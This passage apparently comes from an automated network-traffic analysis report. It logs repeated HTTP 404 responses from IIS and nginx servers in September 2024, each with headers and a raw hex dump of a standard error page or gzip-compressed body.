Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Mon, 23 Sep 2024 12:39:29 GMTConnection: closeContent-Length: 4953Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 7b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 30 30 36 36 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 2e 63 6f 6e 66 69 67 5f 73 6f 75 72 63 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 65 6d 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0a 70 72 65 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 7d 20 0a 75 6c 2c 6f 6c 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 31 30 70 78 20 35 70 78 3b 7d 20 0a 75 6c 2e 66 69 72 73 74 2c 6f 6c 2e 66 69 72 73 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 3b 7d 20 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 61 6c 6c 3b 7d 20 0a 2e 73 75 6d 6d 61 72 79 2d 63 6f 6e 74 61 69 6e 65 72 20 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 2e 6e 6f 2d 65 78 70 61 6e 64 2d 61 6c 6c 7b 70 61 64 64 69 6e 67 3a 32 70 78 20 31 35 70 78 20 34 70 78 20 31 30 70 78 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 2d 31 32 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 33 33 33 3b 3b 6d 61 72 67 69 6e 3a 34 70 78 20 30 20 38 70 78 20 2d 31 32 70 78 3b 5f 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 7d 20 0a 61 3a 6c 69 6e 6b 2c 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 30 37 45 46 46 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Mon, 23 Sep 2024 12:39:32 GMTConnection: closeContent-Length: 4953Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 7b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 30 30 36 36 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 2e 63 6f 6e 66 69 67 5f 73 6f 75 72 63 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 65 6d 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0a 70 72 65 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 7d 20 0a 75 6c 2c 6f 6c 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 31 30 70 78 20 35 70 78 3b 7d 20 0a 75 6c 2e 66 69 72 73 74 2c 6f 6c 2e 66 69 72 73 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 3b 7d 20 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 61 6c 6c 3b 7d 20 0a 2e 73 75 6d 6d 61 72 79 2d 63 6f 6e 74 61 69 6e 65 72 20 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 2e 6e 6f 2d 65 78 70 61 6e 64 2d 61 6c 6c 7b 70 61 64 64 69 6e 67 3a 32 70 78 20 31 35 70 78 20 34 70 78 20 31 30 70 78 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 2d 31 32 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 33 33 33 3b 3b 6d 61 72 67 69 6e 3a 34 70 78 20 30 20 38 70 78 20 2d 31 32 70 78 3b 5f 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 7d 20 0a 61 3a 6c 69 6e 6b 2c 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 30 37 45 46 46 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Mon, 23 Sep 2024 12:39:34 GMTConnection: closeContent-Length: 5115Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 7b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 30 30 36 36 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 2e 63 6f 6e 66 69 67 5f 73 6f 75 72 63 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 65 6d 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0a 70 72 65 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 7d 20 0a 75 6c 2c 6f 6c 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 31 30 70 78 20 35 70 78 3b 7d 20 0a 75 6c 2e 66 69 72 73 74 2c 6f 6c 2e 66 69 72 73 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 3b 7d 20 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 61 6c 6c 3b 7d 20 0a 2e 73 75 6d 6d 61 72 79 2d 63 6f 6e 74 61 69 6e 65 72 20 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 2e 6e 6f 2d 65 78 70 61 6e 64 2d 61 6c 6c 7b 70 61 64 64 69 6e 67 3a 32 70 78 20 31 35 70 78 20 34 70 78 20 31 30 70 78 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 2d 31 32 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 33 33 33 3b 3b 6d 61 72 67 69 6e 3a 34 70 78 20 30 20 38 70 78 20 2d 31 32 70 78 3b 5f 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 7d 20 0a 61 3a 6c 69 6e 6b 2c 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 30 37 45 46 46 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Sep 2024 12:40:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 37 62 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 5b 8f dc b6 15 7e f7 af 60 64 04 b0 5b 6a 6e 7b 97 66 16 6d dd a6 7e e8 25 40 dc 87 00 7d a1 24 6a 44 af 44 ca 24 35 3b e3 41 81 be 14 05 0a 04 41 00 17 6d 91 de f2 50 20 2f ed 3e 15 30 60 a4 fd 33 bb ad f7 5f f4 90 ba 71 76 66 e3 dd 74 ed 5d 49 14 79 ae df f9 0e c5 e9 7b df ff e9 93 67 1f 7f f8 03 94 e9 22 3f 7d 30 6d 2f 94 24 a7 0f 10 fc 4c 0b aa 09 bc d5 a5 4f 5f 54 6c 31 f3 9e 08 ae 29 d7 fe b3 55 49 3d 14 d7 4f 33 4f d3 a5 1e 9a e5 61 9c 11 a9 a8 9e fd ec d9 07 fe b1 d7 88 d1 4c e7 f4 f4 ea d3 cf fe fb ea 2f d7 af fe f0 f6 e2 62 3a ac c7 1c 35 9c 14 74 e6 49 11 09 ad 1c d1 5c 30 9e d0 25 e6 22 15 79 2e ce 3d 34 74 8d ab 57 2d 18 3d 2f 85 d4 ce ba 73 96 e8 6c 96 d0 05 8b a9 6f 1f 30 62 9c 69 46 72 5f c5 24 a7 b3 31 46 95 a2 d2 3e 91 08 06 b8 68 0d ce 19 3f 43 92 e6 33 4f 65 20 36 ae 34 62 e0 ac 87 32 49 d3 99 37 24 0a 7c 54 43 56 cc 87 29 01 0d 82 0f e0 4f 6f 9a d2 2b 70 d8 3a 67 7e be 85 d6 7e 21 5e fa 91 58 fa 8a bd 64 7c 1e 44 42 26 a0 1b 46 42 ff 9c 46 67 4c df f2 76 f7 9a 5f 74 b2 4d d4 71 24 92 15 4e d8 02 ab 92 70 2c a2 e7 34 d6 98 a5 12 42 8a b3 31 ce 26 38 db c3 d9 3e ce 0e 70 76 88 4b 1c e5 22 3e 7b 51 09 4d 71 29 29 26 51 24 31 49 12 49 95 c2 31 83 d1 58 24 14 27 34 c7 49 ca 31 2d 30 78 8a 19 57 f8 2c 4a f0 0b ac 48 51 62 55 90 3c c7 4a 4b c1 e7 58 55 11 fc 96 78 41 24 8e 30 c3 09 ac d4 38 49 b0 c8 71 95 e3 9c e1 94 d1 3c 81 a8 e1 54 c8 02 43 c0 41 78 4e e7 94 27 38 26 a5 66 82 63 22 35 8b 73 30 47 31 d0 1e 13 be 20 0a 8c d0 84 e5 0a d6 cf db 79 70 5b 81 d5 a9 00 fb 25 ce 00 ae e6 32 97 02 0c 28 28 af 30 27 10 09 08 81 11 aa aa a2 20 72 85 35 83 58 c0 dd 19 26 55 c2 04 5e 80 0e 81 d6 30 32 67 3c 18 85 25 f8 6f 12 33 0a eb d4 c0 8d a8 34 00 81 c2 dd 82 1a d3 00 39 24 67 73 1e 44 44 51 f3 26 8c 48 7c 66 f4 f2 24 d0 92 70 88 be 84 ea 08 fb ec 6c ba 74 4f 5f 1c 37 d0 3a 61 aa cc c9 2a b0 a9 73 34 98 fc a3 75 0a 95 68 a0 45 83 f1 61 b9 0c 8d 71 7e 46 d9 3c d3 c1 64 1f 06 6c 01 04 e3 d1 e8 fd b0 19 b6 f7 2d f4 4c fd da e5 3e 49 9e 57 4a d7 33 fd 42 f9 bb df 08 08 48 0a c5 e8 af 02 15 4b a8 cb b0 1b 59 06 19 4b 12 ca 1d 13 01 3c 68 7d 23 84 05 4c ca 69 58 90 65 5d 9c 1b b6 91 4a 8b 3e 0d c6 0c 06 b4 23 4b 91 13 93 53 a8 a5 84 06 11 8b 2b f8 75 f4 98 2a 80 8c 32 de ba 6e 7d 74 72 f4 30 dd 4f 0f d3 e3 d0 3a 05 99 02 dc 98 94 0b 80 5f 01 ce ff 88 ce 59 c4 72 a6 57 5d 60 ea b8 16 80 b4 cc cc 24 dc f0 07 83 f4 27 a1 ad 68 a1 96 fe 8d 39 73 49 56 96 60 42 fb 22 25 05 cb 57 81 f7 94 e6 0b 6a 40 84 7e 42 2b ea e1 ee 19 7b 1f 82 e8 0f 08 9f a3 8f 9e 78 d8 7b ca 24 01 48 0a f4 11 00 0a fd f0 7b 30 f4 63 06 41 56 22 d5 e8 63 f2 94 32 0f 5f fd eb 1f 6f bf ba b8 fe fc 57 d7 6f 3e c3 df 95 60 13 d4 24 57 3e d0 19 4b 9d 88 0c a0 9c 88 4c d9 12 ad ed 1d d0 8e ce c2 97 42 14 c1 78 d7 b4 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Sep 2024 12:40:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 37 62 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 5b 8f dc b6 15 7e f7 af 60 64 04 b0 5b 6a 6e 7b 97 66 16 6d dd a6 7e e8 25 40 dc 87 00 7d a1 24 6a 44 af 44 ca 24 35 3b e3 41 81 be 14 05 0a 04 41 00 17 6d 91 de f2 50 20 2f ed 3e 15 30 60 a4 fd 33 bb ad f7 5f f4 90 ba 71 76 66 e3 dd 74 ed 5d 49 14 79 ae df f9 0e c5 e9 7b df ff e9 93 67 1f 7f f8 03 94 e9 22 3f 7d 30 6d 2f 94 24 a7 0f 10 fc 4c 0b aa 09 bc d5 a5 4f 5f 54 6c 31 f3 9e 08 ae 29 d7 fe b3 55 49 3d 14 d7 4f 33 4f d3 a5 1e 9a e5 61 9c 11 a9 a8 9e fd ec d9 07 fe b1 d7 88 d1 4c e7 f4 f4 ea d3 cf fe fb ea 2f d7 af fe f0 f6 e2 62 3a ac c7 1c 35 9c 14 74 e6 49 11 09 ad 1c d1 5c 30 9e d0 25 e6 22 15 79 2e ce 3d 34 74 8d ab 57 2d 18 3d 2f 85 d4 ce ba 73 96 e8 6c 96 d0 05 8b a9 6f 1f 30 62 9c 69 46 72 5f c5 24 a7 b3 31 46 95 a2 d2 3e 91 08 06 b8 68 0d ce 19 3f 43 92 e6 33 4f 65 20 36 ae 34 62 e0 ac 87 32 49 d3 99 37 24 0a 7c 54 43 56 cc 87 29 01 0d 82 0f e0 4f 6f 9a d2 2b 70 d8 3a 67 7e be 85 d6 7e 21 5e fa 91 58 fa 8a bd 64 7c 1e 44 42 26 a0 1b 46 42 ff 9c 46 67 4c df f2 76 f7 9a 5f 74 b2 4d d4 71 24 92 15 4e d8 02 ab 92 70 2c a2 e7 34 d6 98 a5 12 42 8a b3 31 ce 26 38 db c3 d9 3e ce 0e 70 76 88 4b 1c e5 22 3e 7b 51 09 4d 71 29 29 26 51 24 31 49 12 49 95 c2 31 83 d1 58 24 14 27 34 c7 49 ca 31 2d 30 78 8a 19 57 f8 2c 4a f0 0b ac 48 51 62 55 90 3c c7 4a 4b c1 e7 58 55 11 fc 96 78 41 24 8e 30 c3 09 ac d4 38 49 b0 c8 71 95 e3 9c e1 94 d1 3c 81 a8 e1 54 c8 02 43 c0 41 78 4e e7 94 27 38 26 a5 66 82 63 22 35 8b 73 30 47 31 d0 1e 13 be 20 0a 8c d0 84 e5 0a d6 cf db 79 70 5b 81 d5 a9 00 fb 25 ce 00 ae e6 32 97 02 0c 28 28 af 30 27 10 09 08 81 11 aa aa a2 20 72 85 35 83 58 c0 dd 19 26 55 c2 04 5e 80 0e 81 d6 30 32 67 3c 18 85 25 f8 6f 12 33 0a eb d4 c0 8d a8 34 00 81 c2 dd 82 1a d3 00 39 24 67 73 1e 44 44 51 f3 26 8c 48 7c 66 f4 f2 24 d0 92 70 88 be 84 ea 08 fb ec 6c ba 74 4f 5f 1c 37 d0 3a 61 aa cc c9 2a b0 a9 73 34 98 fc a3 75 0a 95 68 a0 45 83 f1 61 b9 0c 8d 71 7e 46 d9 3c d3 c1 64 1f 06 6c 01 04 e3 d1 e8 fd b0 19 b6 f7 2d f4 4c fd da e5 3e 49 9e 57 4a d7 33 fd 42 f9 bb df 08 08 48 0a c5 e8 af 02 15 4b a8 cb b0 1b 59 06 19 4b 12 ca 1d 13 01 3c 68 7d 23 84 05 4c ca 69 58 90 65 5d 9c 1b b6 91 4a 8b 3e 0d c6 0c 06 b4 23 4b 91 13 93 53 a8 a5 84 06 11 8b 2b f8 75 f4 98 2a 80 8c 32 de ba 6e 7d 74 72 f4 30 dd 4f 0f d3 e3 d0 3a 05 99 02 dc 98 94 0b 80 5f 01 ce ff 88 ce 59 c4 72 a6 57 5d 60 ea b8 16 80 b4 cc cc 24 dc f0 07 83 f4 27 a1 ad 68 a1 96 fe 8d 39 73 49 56 96 60 42 fb 22 25 05 cb 57 81 f7 94 e6 0b 6a 40 84 7e 42 2b ea e1 ee 19 7b 1f 82 e8 0f 08 9f a3 8f 9e 78 d8 7b ca 24 01 48 0a f4 11 00 0a fd f0 7b 30 f4 63 06 41 56 22 d5 e8 63 f2 94 32 0f 5f fd eb 1f 6f bf ba b8 fe fc 57 d7 6f 3e c3 df 95 60 13 d4 24 57 3e d0 19 4b 9d 88 0c a0 9c 88 4c d9 12 ad ed 1d d0 8e ce c2 97 42 14 c1 78 d7 b4 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Sep 2024 12:40:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 37 62 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 5b 8f dc b6 15 7e f7 af 60 64 04 b0 5b 6a 6e 7b 97 66 16 6d dd a6 7e e8 25 40 dc 87 00 7d a1 24 6a 44 af 44 ca 24 35 3b e3 41 81 be 14 05 0a 04 41 00 17 6d 91 de f2 50 20 2f ed 3e 15 30 60 a4 fd 33 bb ad f7 5f f4 90 ba 71 76 66 e3 dd 74 ed 5d 49 14 79 ae df f9 0e c5 e9 7b df ff e9 93 67 1f 7f f8 03 94 e9 22 3f 7d 30 6d 2f 94 24 a7 0f 10 fc 4c 0b aa 09 bc d5 a5 4f 5f 54 6c 31 f3 9e 08 ae 29 d7 fe b3 55 49 3d 14 d7 4f 33 4f d3 a5 1e 9a e5 61 9c 11 a9 a8 9e fd ec d9 07 fe b1 d7 88 d1 4c e7 f4 f4 ea d3 cf fe fb ea 2f d7 af fe f0 f6 e2 62 3a ac c7 1c 35 9c 14 74 e6 49 11 09 ad 1c d1 5c 30 9e d0 25 e6 22 15 79 2e ce 3d 34 74 8d ab 57 2d 18 3d 2f 85 d4 ce ba 73 96 e8 6c 96 d0 05 8b a9 6f 1f 30 62 9c 69 46 72 5f c5 24 a7 b3 31 46 95 a2 d2 3e 91 08 06 b8 68 0d ce 19 3f 43 92 e6 33 4f 65 20 36 ae 34 62 e0 ac 87 32 49 d3 99 37 24 0a 7c 54 43 56 cc 87 29 01 0d 82 0f e0 4f 6f 9a d2 2b 70 d8 3a 67 7e be 85 d6 7e 21 5e fa 91 58 fa 8a bd 64 7c 1e 44 42 26 a0 1b 46 42 ff 9c 46 67 4c df f2 76 f7 9a 5f 74 b2 4d d4 71 24 92 15 4e d8 02 ab 92 70 2c a2 e7 34 d6 98 a5 12 42 8a b3 31 ce 26 38 db c3 d9 3e ce 0e 70 76 88 4b 1c e5 22 3e 7b 51 09 4d 71 29 29 26 51 24 31 49 12 49 95 c2 31 83 d1 58 24 14 27 34 c7 49 ca 31 2d 30 78 8a 19 57 f8 2c 4a f0 0b ac 48 51 62 55 90 3c c7 4a 4b c1 e7 58 55 11 fc 96 78 41 24 8e 30 c3 09 ac d4 38 49 b0 c8 71 95 e3 9c e1 94 d1 3c 81 a8 e1 54 c8 02 43 c0 41 78 4e e7 94 27 38 26 a5 66 82 63 22 35 8b 73 30 47 31 d0 1e 13 be 20 0a 8c d0 84 e5 0a d6 cf db 79 70 5b 81 d5 a9 00 fb 25 ce 00 ae e6 32 97 02 0c 28 28 af 30 27 10 09 08 81 11 aa aa a2 20 72 85 35 83 58 c0 dd 19 26 55 c2 04 5e 80 0e 81 d6 30 32 67 3c 18 85 25 f8 6f 12 33 0a eb d4 c0 8d a8 34 00 81 c2 dd 82 1a d3 00 39 24 67 73 1e 44 44 51 f3 26 8c 48 7c 66 f4 f2 24 d0 92 70 88 be 84 ea 08 fb ec 6c ba 74 4f 5f 1c 37 d0 3a 61 aa cc c9 2a b0 a9 73 34 98 fc a3 75 0a 95 68 a0 45 83 f1 61 b9 0c 8d 71 7e 46 d9 3c d3 c1 64 1f 06 6c 01 04 e3 d1 e8 fd b0 19 b6 f7 2d f4 4c fd da e5 3e 49 9e 57 4a d7 33 fd 42 f9 bb df 08 08 48 0a c5 e8 af 02 15 4b a8 cb b0 1b 59 06 19 4b 12 ca 1d 13 01 3c 68 7d 23 84 05 4c ca 69 58 90 65 5d 9c 1b b6 91 4a 8b 3e 0d c6 0c 06 b4 23 4b 91 13 93 53 a8 a5 84 06 11 8b 2b f8 75 f4 98 2a 80 8c 32 de ba 6e 7d 74 72 f4 30 dd 4f 0f d3 e3 d0 3a 05 99 02 dc 98 94 0b 80 5f 01 ce ff 88 ce 59 c4 72 a6 57 5d 60 ea b8 16 80 b4 cc cc 24 dc f0 07 83 f4 27 a1 ad 68 a1 96 fe 8d 39 73 49 56 96 60 42 fb 22 25 05 cb 57 81 f7 94 e6 0b 6a 40 84 7e 42 2b ea e1 ee 19 7b 1f 82 e8 0f 08 9f a3 8f 9e 78 d8 7b ca 24 01 48 0a f4 11 00 0a fd f0 7b 30 f4 63 06 41 56 22 d5 e8 63 f2 94 32 0f 5f fd eb 1f 6f bf ba b8 fe fc 57 d7 6f 3e c3 df 95 60 13 d4 24 57 3e d0 19 4b 9d 88 0c a0 9c 88 4c d9 12 ad ed 1d d0 8e ce c2 97 42 14 c1 78 d7 b4 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Sep 2024 12:40:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 37 62 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 5b 8f dc b6 15 7e f7 af 60 64 04 b0 5b 6a 6e 7b 97 66 16 6d dd a6 7e e8 25 40 dc 87 00 7d a1 24 6a 44 af 44 ca 24 35 3b e3 41 81 be 14 05 0a 04 41 00 17 6d 91 de f2 50 20 2f ed 3e 15 30 60 a4 fd 33 bb ad f7 5f f4 90 ba 71 76 66 e3 dd 74 ed 5d 49 14 79 ae df f9 0e c5 e9 7b df ff e9 93 67 1f 7f f8 03 94 e9 22 3f 7d 30 6d 2f 94 24 a7 0f 10 fc 4c 0b aa 09 bc d5 a5 4f 5f 54 6c 31 f3 9e 08 ae 29 d7 fe b3 55 49 3d 14 d7 4f 33 4f d3 a5 1e 9a e5 61 9c 11 a9 a8 9e fd ec d9 07 fe b1 d7 88 d1 4c e7 f4 f4 ea d3 cf fe fb ea 2f d7 af fe f0 f6 e2 62 3a ac c7 1c 35 9c 14 74 e6 49 11 09 ad 1c d1 5c 30 9e d0 25 e6 22 15 79 2e ce 3d 34 74 8d ab 57 2d 18 3d 2f 85 d4 ce ba 73 96 e8 6c 96 d0 05 8b a9 6f 1f 30 62 9c 69 46 72 5f c5 24 a7 b3 31 46 95 a2 d2 3e 91 08 06 b8 68 0d ce 19 3f 43 92 e6 33 4f 65 20 36 ae 34 62 e0 ac 87 32 49 d3 99 37 24 0a 7c 54 43 56 cc 87 29 01 0d 82 0f e0 4f 6f 9a d2 2b 70 d8 3a 67 7e be 85 d6 7e 21 5e fa 91 58 fa 8a bd 64 7c 1e 44 42 26 a0 1b 46 42 ff 9c 46 67 4c df f2 76 f7 9a 5f 74 